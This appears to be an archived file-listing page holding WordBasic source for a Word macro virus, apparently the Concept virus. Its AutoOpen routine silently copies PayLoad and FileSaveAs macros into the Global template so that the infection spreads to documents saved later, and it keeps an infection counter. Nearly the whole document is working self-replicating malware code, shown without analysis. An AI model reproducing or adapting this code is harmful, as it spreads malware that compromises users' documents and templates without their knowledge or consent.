home *** CD-ROM | disk | FTP | other *** search
- rem Macro name: AutoOpen
- Sub MAIN
- On Error Goto Abort
- iMacroCount = CountMacros(0, 0)
- 'see if we're already installed
- For i = 1 To iMacroCount
- If MacroName$(i, 0, 0) = "PayLoad" Then
- bInstalled = - 1
- End If
- If MacroName$(i, 0, 0) = "FileSaveAs" Then
- bTooMuchTrouble = - 1
- End If
- Next i
- If Not bInstalled And Not bTooMuchTrouble Then
- 'add FileSaveAs and copies of AutoOpen and FileSaveAs.
- 'PayLoad is just for fun.
- iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
- sMe$ = FileName$()
- sMacro$ = sMe$ + ":Payload"
- MacroCopy sMacro$, "Global:PayLoad"
- sMacro$ = sMe$ + ":AAAZFS"
- MacroCopy sMacro$, "Global:FileSaveAs"
- sMacro$ = sMe$ + ":AAAZFS"
- MacroCopy sMacro$, "Global:AAAZFS"
- sMacro$ = sMe$ + ":AAAZAO"
- MacroCopy sMacro$, "Global:AAAZAO"
- SetProfileString "WW6I", Str$(iWW6IInstance + 1)
- MsgBox Str$(iWW6IInstance + 1)
- End If
- Abort:
- End Sub
-